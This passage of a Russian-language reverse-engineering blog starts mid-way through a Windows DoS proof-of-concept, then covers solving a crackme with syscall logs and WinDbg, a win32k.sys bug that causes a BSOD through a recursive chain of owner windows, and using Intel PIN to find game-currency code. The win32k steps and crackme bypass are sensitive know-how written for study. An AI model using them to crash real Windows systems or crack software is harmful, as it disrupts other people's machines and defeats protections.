retSysenter:
            add esp, 5*4
        }
    }

    cin.get();
    return 0;
}

А на win10 данный DOS уже не работает, PEB декоммитнуть больше не получится из-за новых битов защиты:

VirtualFreeEx => NtFreeVirtualMemory => MiCheckSecuredVad => возвращает STATUS_INVALID_PAGE_PROTECTION(0xC0000045)

У сожалению нет возможности проверить точную версию ОС, где был пофикшен данный баг, возможно это случилось в dev builds win10 или даже еще раньше.

суббота, 5 декабря 2015 г.

Fun with crackme

Захотелось поломать какой-нибудь сложный крякми, выбор пал на https://exelab.ru/f/index.php?action=vthread&forum=2&topic=22109&page=0
Смысл в том, чтобы извлечь картинку из памяти.

== Цель ==

Максимально быстро решить crackme, сведя к минимуму анализ и отладку.

== Первичный анализ ==

Статический анализ: код написан на asm, в импорте только ZwRaiseHardError, среди строк интересна лишь строка Db.dll.
Статикой информацию получить можно, но это долго, а значит не соответствует цели.
Динамический анализ: отладчик пока отложим в сторону, соберем полную картину действий crackme:

Собираем лог сисколов либо тулзой PIN, либо иным инструментом ( я использовал свой ).
В логе видны манипуляции с mapping'ом и unmapping'ом секций, а также пара интересных сисколов: NtResetWriteWatch и NtGetWriteWatch.
Кроме этого есть 3 вызова NtAllocateVirtualMemory с MEM_WRITE_WATCH, и один с MEM_COMMIT.
Далее, в логе видим 1868207 вызовов NtProtectVirtualMemory, скорее всего цикл связан с расшифровкой изображения.

Где может скрываться изображение? В выделенной приватной памяти, в промаппированной памяти или в стеке(экзотика, но почему нет?).

Проверим вариант с секцией, тем более, что в crackme есть строка "Db.dll" намекающая на маппинг dll с картинкой в ресурсах.
В логе есть 8 вызовов NtMapViewOfSection, собираем адреса, куда замаплена секция. Причем два из них находятся среди 1.8 миллионов вызовов NtProtectVirtualMemory:

Первый вызов завершается unmapping'ом:

...
NtProtectVirtualMemory
NtCreateSection
NtMapViewOfSection
NtQuerySystemInformation
NtUnmapViewOfSection
NtProtectVirtualMemory
...

А второй нет:

...
NtProtectVirtualMemory
NtMapViewOfSection
NtProtectVirtualMemory
...

Логично предположить, что картинка скрывается в этой замапленной секции, запоминаем адрес, по которому она была замаплена - 0x10000000.

Далее, перематываем 1.8 миллиона NtProtectVirtualMemory в логе, из стектрейса берем адрес, из которого был вызван сискол: 0x412B6E.

Дальше нам понадобится отладчик, но не OllyDbg, т.к. бряк на адресе 0x412B6E не работает из-за защиты от модификации секции.
Тем не менее, все работает в windbg(хотя я использовал оба отладчика). Брякаемся, ищем в отладчике конец цикла с NtProtectVirtualMemory.

Конец цикла тут:

001b:00412ee6 6681390f31      cmp     word ptr [ecx],310Fh
001b:00412eeb 7517            jne     00412f04                           [br=1]
001b:00412eed 8b4a18          mov     ecx,dword ptr [edx+18h]

Ставим бряк на 0x00412eed. Ждем пока сработает бряк, смотрим ecx:

kd> r ecx
ecx=1000101a

И видим адрес нашей промапленной секции.
Если цикл с NtProtectVirtualMemory был завязан на расшифровку картинки в ресурсах промапленной dll, то сигнатуру картинки можно будет визуально найти в памяти.
Смотрим память по адресу 0x10000000, видим сигнатуру PE файла, листаем, ничего похожего на сигнатуру картинки не видно.
Либо она где-нибудь в другом месте, либо предположение с расшифровкой неверно и она лежит тут, но зашифрована.

Отпускаем выполнение, отладчик опять брякается на 0x00412eed, и содержимое секции изменяется, после нескольких бряков по адресу 0x10002000 видна сигнатура PNG формата.

DR регистры используются при расшифровке, поэтому бряк на запись последнего байта зашифрованных данных не сработает.
Тем не менее, при срабатывании бряка в edi находится адрес, по которому будет записан dword с расшифрованными данными. Поэтому просто пишем условный бряк:

bp 412eed "j @edi = 0x1001539c '';'gc'"

Ждем срабатывание брекпойнта и дампим картинку:

.writemem f:\result.png 0x10002000 L014000

Результат:



Задача решена, причем с минимумом временных затрат, за счет использования инструментов, против которых защита crackme была бесполезна.
Что же касается самой защиты кода от модификации в данном crackme - возможно, если будет время и желание я поресерчу это в следующей статье.



вторник, 17 февраля 2015 г.

Анализ бага win32k (DOS)

На форуме rsdn.ru проскользнула любопытная тема http://rsdn.ru/forum/winapi/5956603,  в которой kero открыл баг в ядре графической подсистемы windows - win32k.sys.

Мне стало любопытно, а в чем собственно состоит баг? Данная заметка - мой небольшой анализ.

Прежде всего, как вызвать BSOD? kero, помимо exe, приложил еще и исходники, из них следует, что если создать определенное количество окон и установить каждому предыдущему окну владельцом текущее окно через SetWindowLong( GWL_HWNDPARENT ) и затем удалить самое последнее окно, то это вызовет удаление всех окон в цепочке и BSOD в итоге.

Из-за чего происходит BSOD? Из-за переполнения стека, которую вызвала рекурсия.

Рекурсия вызывается из-за:

xxxDestroyWindow()
{
   если у окна нет свойства WS_CHILD, вызывается xxxDW_DestroyOwnedWindows
}

xxxDW_DestroyOwnedWindows
{
   для всех окон, имеющих владельца родителя вызывается xxxDestroyWindow
}

Собственно, данная рекурсия не отличается от любой другой - если нет защиты от рекурсии, она рано или поздно исчерпает весь стек. Также происходит и тут, локальные переменные данных двух функций выжирают весь ядерный стек, при очередном push'е стека не хватает, происходит исключение, которое опять таки не может быть обработано, ибо также использует стековые переменные, система переключается на panic stack и выбрасывает исключение DOUBLE_FAULT.

Количество окон, которые система может создать без BSOD'a зависит от путей исполнения программы, а пути зависят от входных данных, к примеру добавив новый стиль в CreateWindow, или убрав любой из примера - получим другое число созданных окон без падения.

Почему нет функции, которая бы проверяла и предотвращала подобные вещи?

На самом деле она есть:

SetWindowLong( GWL_HWNDPARENT ) => ValidateOwnerDepth

BOOL ValidateOwnerDepth()
{
    UINT cDepth = 1;
    while (pwndOwner != NULL )
   {
       if ( pwndOwner == pwnd )
           return FALSE;
 
      pwndOwner = pwndOwner->spwndOwner; // всегда 0
      cDepth++;
    }
    return (cDepth <= NESTED_WINDOW_LIMIT);
}

spwndOwner всегда будет == 0, т.к. при создании окна, если отсутствует  свойство WS_CHILD и hWndParent == NULL, spwndOwner устанавливается в NULL.

Поэтому SetWindowLong будет успешно устанавливать владельца, т.к. функция валидатор всегда будет давать добро. А при удалении цепочки окон всегда будет BSOD если создано слишком много окон.

Баг воспроизводится на всех последних ОС любых разрядностей, не проверял лишь win10.
Спасибо kero за интересный кейс!

четверг, 2 января 2014 г.

Hacking games with PIN

Сегодня речь пойдет о играх, а точнее, об их взломе.

Может возникнуть вопрос, причем тут игры, ведь блог в основном относится к теме системного программирования / реверсинга / декомпиляции?
Да вот как-то после прочтения заметки в блоге HEX'а про создание игр (http://rebl0g.wordpress.com/2013/12/15/%D0%BC%D0%B5%D1%87%D1%82%D1%8B-%D0%B4%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B0/#more-217) навеяло. Но в данной заметке будет рассмотрено прямо противоположное созданию действие - взлом.

Что в основном ломают в играх? Определенно, игровые ресурсы.
Как ломают тоже в принципе давно известно: ищут / меняют значения памяти в программах типа gamehack.
Но, конечно, gamehack я описывать в своем блоге не собираюсь, вместо этого я опишу альтернативный вариант поиска нужных значений в памяти.

Тут как раз и пересекается тематика блога и игр, ибо речь пойдет про PIN.

Итак,  нам нужно найти и изменить определенные игровые ресурсы, скажем, деньги. Для этого нужно как-то найти, где в памяти, а еще лучше, прямо в бинаре лежат нужные нам данные. Зачем нам бинарь, ведь достаточно изменить значения в памяти? К примеру, мы хотим еще и пореверсить код игры, или пропатчить бинарь игры, для этого желательно иметь точку, где происходит работа с игровыми ресурсами.

Как будем искать нужные данные? Подход в чем-то схож с подходом gamehack.

Игровые деньги могут уменьшаться, скажем при покупке чего-либо, или увеличиваться, с течением времени. Логично предположить, что в конечном итоге это приведет нас к двум инструкциям sub / add.

Далее, все что нужно, это написать PIN модуль, который смотрит текущие инструкции на предмет sub /add и выводит все инструкции в лог.
После чего, запускаем игру под PIN до изменения наблюдаемых величин( игровой валюты к примеру ) и после изменения.
Наблюдаемую величину можно захардкодить в PIN модуле, чтобы отсеять лишнюю информацию из лога.

В итоге, получаем нечто вроде:

VOID SubReg( ADDRINT ea, string *disasm, ADDRINT reg1Value, ADDRINT reg2Value )
{
...
    if ( reg1Value == VALUE_TO_WATCH )
        cout << hex << ea << " " << disasm << dec << " reg1Value = " << reg1Value << " reg2Value = " << reg2Value << endl;
...
}

VOID Instruction( INS ins, VOID *v )
{
    ADDRINT ea = INS_Address( ins );

    if ( ea < gMainExe.GetModuleStartAddress() || ea > gMainExe.GetModuleEndAddress() )
        return;

    if (INS_Opcode(ins) == XED_ICLASS_SUB && INS_OperandReg(ins, 0) != REG_ESP && !INS_OperandIsImmediate(ins, 1) && INS_OperandIsReg(ins, 0))
    //if (INS_Opcode(ins) == XED_ICLASS_ADD && INS_OperandReg(ins, 0) != REG_ESP && !INS_OperandIsImmediate(ins, 1) && INS_OperandIsReg( ins, 0))
    {
        if ( INS_OperandIsReg( ins, 1 ) )
        {
            INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)SubReg,
                                IARG_ADDRINT, ea,
                                IARG_PTR, new string( INS_Disassemble(ins) ),
                                IARG_REG_VALUE, INS_OperandReg( ins, 0 ),
                                IARG_REG_VALUE, INS_OperandReg( ins, 1 ),
                                IARG_END );
        }   
    }
}

Далее, так как на моем компе видеокарта встроенная и игр не установлено, пришлось покопаться в древних архивах, было найдено три стареньких игры, получены логи.

Пример лога(игра WarGames):

487696 sub edx, ecx reg1Value = 3f7a reg2Value = 9c4
568428 sub edx, edx reg1Value = 3f7a reg2Value = 3f7a
568428 sub edx, edx reg1Value = 3f7a reg2Value = 3f7a
568428 sub edx, edx reg1Value = 3f7a reg2Value = 3f7a

В выделенной строке лог после покупки юнита за 2500(9c4h) игровых денег.
То есть из общего баланса (3f7a) вычитается стоимость юнита. Таким образом, мы вышли на код работы с игровой валютой, дальше можно патчить в памяти через тот же PIN, или на диске или анализировать/реверсить в IDA.

Код в IDA:

.text:00487687                 xor     ecx, ecx
.text:00487689                 mov     cx, word_7470B2[edx]
.text:00487690                 mov     edx, dword_73B65C[eax]
.text:00487696                 sub     edx, ecx
.text:00487698                 mov     eax, [ebp+var_8]
.text:0048769B                 xor     ecx, ecx
.text:0048769D                 mov     cl, [eax+5]

Такой подход оправдал себя и на двух других играх, для Orion2 искалась не sub инструкция, а add, так как доход игровой валюты там меняется с течением времени.

После всех этих манипуляций мое любопытство по поводу жизнеспособности метода с PIN было удовлетворено, и игры благополучно были отправлены обратно в архив.